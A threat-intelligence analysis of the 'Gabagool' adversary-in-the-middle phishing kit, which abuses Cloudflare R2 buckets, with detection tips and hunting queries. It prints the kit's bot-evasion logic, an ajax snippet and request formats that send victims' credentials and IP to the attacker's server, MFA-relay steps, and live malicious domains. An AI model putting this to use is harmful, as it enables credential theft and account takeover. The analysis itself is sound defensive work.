AiTM Phishing, Hold the Gabagool: Analyzing the Gabagool Phishing Kit
Case study
The TRAC Labs team has been monitoring the recent wave of phishing campaigns and is tracking this phishing kit under the name Gabagool targeting corporate and government employees.
The recently observed phishing campaign leveraging Cloudflare R2 buckets.
Cloudflare R2 buckets are storage containers in Cloudflare’s R2 storage service, designed to hold large volumes of unstructured data with zero egress fees. Threat actors can abuse Cloudflare R2 buckets for phishing by hosting malicious content or phishing landing pages in these buckets, leveraging the trusted reputation of Cloudflare to bypass security filters.
Gabagool Analysis
The threat actor would initially compromise the user’s mailbox and begin sending phishing emails to other employees. These emails prompt recipients to view an image attached to the email, which is disguised as a document. Embedded within the image is a malicious URL-shortened link leveraging tiny.cc and tiny.pl that contain a redirect chain. For the QR-code schemes, the threat actor would attach a document to the email, for example an RTF document as shown below.
Let’s walk through the entire infection chain using an example that includes a URL-shortened link embedded in an image. The image is titled “NEW FAX DOCUMENT(S) HAS BEEN RECEIVED”. When the user clicks on the image, they are redirected to file-sharing platforms such as SharePoint, SugarSync or Box as shown in the examples below.
After clicking on “View or Download Document” or “Open Document”, the user would be redirected to another landing page shown below with Cloudflare R2 bucket mentioned earlier.
As you can see, the URL is in the following format: pub-{32 hexadecimal characters}.r2.dev/{html_filename}.html
. A lot of other unrelated phishing kits are also abusing R2 buckets and use the similar format but we will be focusing specifically on Gabagool.
Let’s analyze source code of the landing page above.
The unlink
parameter contains the credential harvesting phishing landing page and bi
parameter contains the redirect to a legitimate URL. At the end of the source code, we see the obfuscated blob of the JavaScript code.
Upon deobfuscating the JavaScript, we see a few interesting functions:
detectBots
The function detects signs of bot activity with following checks:
- Webdriver Check — it first checks if
navigator.webdriver
is true. This property is often true in headless browsers or automation frameworks like Selenium, which are commonly used by bots for scraping or automated interactions. If this check passes (navigator.webdriver
is true), the function logs"Headless browser detected!"
to the console and returnstrue
, indicating potential bot activity. - Mouse Movement Detection — the function listens for the
mousemove
event. It counts these events, and if it exceeds 100 movements, it means that a real user is likely interacting with the page, as bots typically do not generate frequent or complex mouse movements. If the mouse movement count does not exceed 100, it logs"Unusual mouse movements detected!"
to the console and returnstrue
, suggesting bot-like behavior. - Cookie Test — it sets a test cookie named “botCheck” with a value of “1” using the
setCookie
function. This cookie is set to expire after 1 day. The function then attempts to retrieve the cookie usinggetCookie
. If the cookie cannot be retrieved (returns null or incorrect value), it suggests that cookies are disabled or not supported, which is common in some bot configurations. If the cookie cannot be retrieved,"Cookies are disabled!"
is logged to the console, and the function returnstrue
, pointing to possible bot activity. - Rapid Interaction Detection — it uses
setInterval
to check if actions are occurring in rapid succession—specifically, it checks if function calls happen more frequently than every 5000 milliseconds. Rapid, repeated interactions in such a short time frame are signs of automated scripts rather than human users. If rapid interactions are detected,"Rapid requests detected!"
is logged to the console every time the interval condition is met, suggesting automated behavior.
If any of these checks suggest bot activity (webdriver presence, no mouse movements, failure to read the test cookie, or rapid repeated interactions), the redirect to the legitimate domain assigned under bi
parameter happens.
If all the checks are passed — no bot activity detected, the script proceeds with the following:
Webpage Manipulation
- The
addStyles
function Adds CSS styles to hide overflow content and set the base dimensions and visibility for certain elements, preparing for content insertion. - Creates an image element and sets its style for full viewport height and central positioning.
- If no bots are detected, after a delay of 2 seconds, it removes the image displayed to the user, applies the styles defined in
addStyles
and sets the iframe’s source to a dynamically constructed URL underai
parameter, which is intended to load contents of the credential harvesting page.
Let’s now look at the source code of the loaded content from the ulink
(we will grab the working sample — cuippored.top/fine/#
, note that some landing pages other than /fine/#
might also contain /200
,/300
,/400
, /500
, /ppp
, /ooo
).
First, the CryptoJS library is loaded in the HTML content, suggesting that encryption or decryption operations will follow next in the script.
Scrolling down we see an interesting snippet. The Gabagool’s server (o365.alnassers.net
) that is responsible for receiving the harvested credentials and serving additional phishing content is AES-encrypted.
The string Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg==
serves as a unique identifier for the phishing campaign.
Here’s a revised and more detailed explanation of the variables SV and SIR:
The variables SV
and SIR
are used as flag values in the context of function calls and server requests. Specifically, SV (Send Visit) is a flag that indicates whether the user’s visit should be logged or not, likely for tracking user’s visits on the landing page. The SIR (Send Invalid Result) flag, on the other hand, indicates whether to log or handle invalid or unexpected results, such as failed validations or errors during data processing.
The initial POST request to the server contains the following in our example:
{
"psk": "Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg==",
"do": "GURI",
"redirect_url": "https://outlook.office365.com/Encryption/ErrorPage.aspx?src=3&code=11",
"theme": "office"
}
We see an interesting GURI
marker, the office
theme, the unique identifier and the redirect URL. The users will be redirect to the URL upon entering the valid credentials.
If the unique identifier is valid, the server returns the actual phishing landing page code designed to harvest the credentials. The response is also AES-encrypted. Where a
contains the AES key and b
contains the encrypted data, c
indicates the response status.
{
"a": "znzzxzyy3pvb3aj2",
"b": "4kdIwhtrvIKC7Q5R60tJKbLHP/gxnYJVW05leDGmnzN89wmzhkm6t....",
"c": "success"
}
The script below is responsible for responding to keystrokes (specifically the Enter key, keycode 13) and mouse clicks on certain elements (#Vus9l, #lX2yIt, #U814kPS, #jIXfOYhkX). Event handlers associated with these elements activate specific functions when the Enter key is pressed or the elements are clicked. The Enter key is specifically monitored to detect when a user has completed entering data into an input field and intends to submit it. For the input field #Vus9l
, the value entered is passed to a variable named em
, which is then included in a POST request sent to the server; this value could be an email address, phone number, or Skype username. Similarly, for #U814kPS
, the entered value is captured in a variable named px
, which holds the password.
Another POST request after the user enters the email and credentials would have the following format (the current IP address is fetched from https://api.ipify.org?format=json):
$.ajax({
url: FWqDj,
cache: false,
type: "POST",
data: JSON.stringify({
do: "check",
em: XMFkjaD6v,
IP: current_ip,
bdata: navigator.userAgent,
psk: psk,
send_visit: SV,
send_invalid_result: SIR,
}),
contentType: "application/json", // Ensures the request is sent as JSON
dataType: "json", // Expecting JSON response from server
In terms of network traffic, it would appear as follows:
{
"do": "check",
"em": email address,
"IP": IP address,
"bdata": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
"psk": "Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg==",
"send_visit": "0",
"send_invalid_result": "1"
}
“do”: “check”: Initially, the server performs validations to ensure that the email address is associated with an organizational domain. Therefore, addresses from domains like outlook.com
or hotmail.com
would not be accepted.
If the email check is successful, the response might look like this:
{
"status": "success",
"banner": null,
"background": null,
"boilerPlateText": null,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGlmaWVyIjoiWjJBekR0a1FnYUVLSldkT1YwU0NERFNIc0NuOTFmeU1pT2JINjVPbnNvYWRabVJkZHMwcnpxc09oWUMvN3RLNVNRQmx1TytEeHRSWUxwN3VEMExlWmc9PSIsImlhdCI6MTczMTg4NzA4MS4zNjE4MzIxLCJleHAiOjE3MzE4OTA2ODEuMzYxODMyNn0.llnuf5ZD_YTKCK6J1AXyJVVBTp3Jg1mlqNXF_QZwj_E"
}
In the response above:
banner
,background
, andboilerPlateText
could hold the company's logo, a background image, and predefined text if they exist.token
contains a JWT (JSON Web Token) which is used for maintaining the user's session, the token value is base64-encoded and decodes to:
{"alg":"HS256","typ":"JWT"}{"identifier":"Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg==","iat":1731887081.3618321,"exp":1731890681.3618326}
Where the header is{"alg":"HS256","typ":"JWT"}
alg
— specifies the algorithm used to sign the JWT, in this case,HS256
which means HMAC SHA-256.typ
— specifies the type of the token, here it's a JWT.identifier
: This is likely a unique identifier for the user or the session, encoded in Base64 or a similar format.iat
(Issued At) — the time at which the JWT was issued, given as a Unix timestamp. The value1731887081.3618321
translates to November 17, 2024, at 23:44:41.exp
(Expiration Time) — the expiration time on or after which the JWT must not be accepted for processing. The value1731890681.3618326
translates to November 18, 2024, at 00:44:41.
Next step is for user to the valid credentials in the password field. After the user enters the valid credentials, the POST request would look like the following:
{
"do": "le",
"em": email address,
"px": password,
"sec": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGlmaWVyIjoiWjJBekR0a1FnYUVLSldkT1YwU0NERFNIc0NuOTFmeU1pT2JINjVPbnNvYWRabVJkZHMwcnpxc09oWUMvN3RLNVNRQmx1TytEeHRSWUxwN3VEMExlWmc9PSIsImlhdCI6MTczMTg4NzA4MS4zNjE4MzIxLCJleHAiOjE3MzE4OTA2ODEuMzYxODMyNn0.llnuf5ZD_YTKCK6J1AXyJVVBTp3Jg1mlqNXF_QZwj_E",
"psk": "Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg=="
}
The server response depends on whether the user has two-factor authentication (2FA) set up. In this instance, the user has multifactor authentication enabled, and the response would typically look like the following:
{
"status": "2",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGlmaWVyIjoiWjJBekR0a1FnYUVLSldkT1YwU0NERFNIc0NuOTFmeU1pT2JINjVPbnNvYWRabVJkZHMwcnpxc09oWUMvN3RLNVNRQmx1TytEeHRSWUxwN3VEMExlWmc9PSIsImlhdCI6MTczMTg4NzA4MS4zNjE4MzIxLCJleHAiOjE3MzE4OTA2ODEuMzYxODMyNn0.llnuf5ZD_YTKCK6J1AXyJVVBTp3Jg1mlqNXF_QZwj_E",
"method": "W3siYXV0aE1ldGhvZElkIjogIlBob25lQXBwTm90aWZpY2F0aW9uIiwgImRhdGEiOiAiUGhvbmVBcHBOb3RpZmljYXRpb24iLCAiZGlzcGxheSI6ICIrWCBYWFhYWFhYWDQ4IiwgImlzRGVmYXVsdCI6IHRydWUsICJpc0xvY2F0aW9uQXdhcmUiOiBmYWxzZX0sIHsiYXV0aE1ldGhvZElkIjogIlBob25lQXBwT1RQIiwgImRhdGEiOiAiUGhvbmVBcHBPVFAiLCAiZGlzcGxheSI6ICIrWCBYWFhYWFhYWDQ4IiwgImlzRGVmYXVsdCI6IGZhbHNlLCAiaXNMb2NhdGlvbkF3YXJlIjogZmFsc2UsICJwaG9uZUFwcE90cFR5cGVzIjogWyJNaWNyb3NvZnRBdXRoZW50aWNhdG9yQmFzZWRUT1RQIl19XQ==",
"sec": "q1ZKzVWyUipJTczVy00syk4tycxLd0guTcpM1k1K0UvOz1XSUcpOrQSqcQYJOhgbGRoYKtUCAA=="
}
The status 2 means that multifactor authentication options are present.
sec
variable contains the token.method
variable contains the Base64-encoded authentication methods. Based on the methods available, such as PhoneAppNotification, PhoneAppOTP, OneWaySMS, TwoWayVoiceMobile and TwoWayVoiceOffice. Themethod
variable decodes to:
[{"authMethodId": "PhoneAppNotification", "data": "PhoneAppNotification", "display": "+X XXXXXXXX48", "isDefault": true, "isLocationAware": false}, {"authMethodId": "PhoneAppOTP", "data": "PhoneAppOTP", "display": "+X XXXXXXXX48", "isDefault": false, "isLocationAware": false, "phoneAppOtpTypes": ["MicrosoftAuthenticatorBasedTOTP"]}]
First Object (PhoneAppNotification)
- authMethodId: “PhoneAppNotification” — identifies the method of authentication, in this case, a notification sent through a phone application.
- data: “PhoneAppNotification” — represents the identifier used by the server to process this method.
- display: “+X XXXXXXXX48” — this is a masked representation of a phone number to which the notification would be sent.
- isDefault: true — indicates that PhoneAppNotification is the default method of authentication for the user.
- isLocationAware: false — the field specifies whether the authentication method utilizes location data to verify the identity and here, it does not.
Second Object (PhoneAppOTP)
- authMethodId: “PhoneAppOTP” — the method involves a One-Time Password (OTP) generated and sent through a phone application.
- data: “PhoneAppOTP” — an identifier.
- isDefault: false — the method is not set as the default; users might have to choose to use it actively or it may be used as a secondary method.
- isLocationAware: false — similar to the the first method, location data is not used in the verification process.
- phoneAppOtpTypes: “MicrosoftAuthenticatorBasedTOTP” — this specifies the type of OTP used; in this case, it’s a TOTP (Time-based One-Time Password) generated by Microsoft Authenticator.
The user would choose one of the authentication methods shown below.
If the user chooses the first method — approve the request via the Microsoft Authenticator app, the POST request would look like the following:
{
"m": "1",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGlmaWVyIjoiWjJBekR0a1FnYUVLSldkT1YwU0NERFNIc0NuOTFmeU1pT2JINjVPbnNvYWRabVJkZHMwcnpxc09oWUMvN3RLNVNRQmx1TytEeHRSWUxwN3VEMExlWmc9PSIsImlhdCI6MTczMTg4OTQxMy42MjExODA4LCJleHAiOjE3MzE4OTMwMTMuNjIxMTgxfQ.GmuecjR3LZI8GVnYfLMeipTQE1n-OpCg3jMiLuutEmc",
"do": "ver",
"sec": "q1ZKzVWyUipJTczVy00syk4tycxLd0guTcpM1k1K0UvOz1XSUcpOrQSqcQYJOhgbGRoYKtUCAA==",
"psk": "Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg=="
}
Where “m”: “1”
is the first authentication method used, which is PhoneAppNotification
.
The response from the server would contain the OTP value, type number, status and the token:
"status": true,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGlmaWVyIjoiWjJBekR0a1FnYUVLSldkT1YwU0NERFNIc0NuOTFmeU1pT2JINjVPbnNvYWRabVJkZHMwcnpxc09oWUMvN3RLNVNRQmx1TytEeHRSWUxwN3VEMExlWmc9PSIsImlhdCI6MTczMTg4OTQxMy42MjExODA4LCJleHAiOjE3MzE4OTMwMTMuNjIxMTgxfQ.GmuecjR3LZI8GVnYfLMeipTQE1n-OpCg3jMiLuutEmc",
"otp": 120,
"type": "one"
}
If the user chooses to use the verification code the method (PhoneAppOTP
) would be equal to 2. For OneWaySMS
— 3, TwoWayVoiceMobile
— 4 and TwoWayVoiceOffice
— 5.
For each POST requests using one of the following authentication methods described above, the service
variable will change depending on the method being used.
This is the POST request for the first authentication method being used:
do: "cV",
token: oIVhfu.token,
service: "a",
sec: D7yCQ1q,
psk: psk
Actual POST request sent:
{
"do": "cV",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGlmaWVyIjoiWjJBekR0a1FnYUVLSldkT1YwU0NERFNIc0NuOTFmeU1pT2JINjVPbnNvYWRabVJkZHMwcnpxc09oWUMvN3RLNVNRQmx1TytEeHRSWUxwN3VEMExlWmc9PSIsImlhdCI6MTczMTg4OTc4NC4yNTA5NDk5LCJleHAiOjE3MzE4OTMzODQuMjUwOTQ5OX0.ygwSnXIVG9J4ccN80O7qsFRNh-suL0DjbZVmBgf_R6Q",
"service": "a",
"sec": "q1ZKzVWyUipJTczVy00syk4tycxLd0guTcpM1k1K0UvOz1XSUcpOrQSqcQYJOhgbGRoYKtUCAA==",
"psk": "Z2AzDtkQgaEKJWdOV0SCDDSHsCn91fyMiObH65OnsoadZmRdds0rzqsOhYC/7tK5SQBluO+DxtRYLp7uD0LeZg=="
}
So, for PhoneAppNotification
— “a”
PhoneAppOTP
— “c”OneWaySMS
— “b”TwoWayVoiceMobile
— “d”TwoWayVoiceOffice
— “e”
Additional Research
We found another landing page slightly different from the one we analyzed.
Where the landing page instead of ulink
would be assigned under originalUrl
variable and the legitimate redirect domain would be assigned as botUrl instead of bi
, both values would be Base64-encoded as shown below.
The script checks the user agent of the browser to detect if it is a known bot (like Googlebot, Bingbot, Chromebot, etc.). Depending on whether a bot is detected, the user is redirected to one of the two URLs:
- Bots are redirected to Facebook.
- Regular users (non-bots) are redirected to the specific next phishing landing page
emcs.cnt.br/27942f91ec60abe507e5e85c70f2a95a/services/mathon/PX-%20o365%20v1.2/
. - The redirection is initiated 2 seconds after the page loads.
Summary
The TRAC Labs team has identified a phishing campaign dubbed as “Gabagool”, targeting corporate and government employees. This campaign leverages Cloudflare R2 buckets to host malicious content, taking advantage of Cloudflare’s trusted reputation to bypass security measures. The attackers start by compromising email accounts and sending phishing emails containing malicious links. These links direct victims to fake documents hosted on platforms like SharePoint, SugarSync, or Box, which then reroute to a phishing page hidden within a Cloudflare R2 bucket.
Special thanks to any.run for providing public samples through their Threat Intelligence platform.
Detection
- Look for unusual connections to Cloudflare R2 buckets with URLs formatted like
pub-{32 hexadecimal characters}.r2.dev/{html_filename}.html
. - Keep an eye on traffic heading to known malicious servers, such as
o365.alnassers.net
. - If network traffic packet captures are available, review the data being sent to these servers.
- To assist in hunting, use public URLScan queries such as
page.domain:pub-*.*r2.dev OR hash:8c905c71ef88bdd72707dab7b5c2adfdd148190f74b7284b7f7745bea500a92e
For more hunting ideas, you can reach out to us via Twitter.
Indicators of Compromise
You can access the Indicators of Compromise on our Github page.
References
https://developers.cloudflare.com/r2/get-started/
https://app.any.run/tasks/92bddc27-6009-466f-8b14-ce6a97e01685/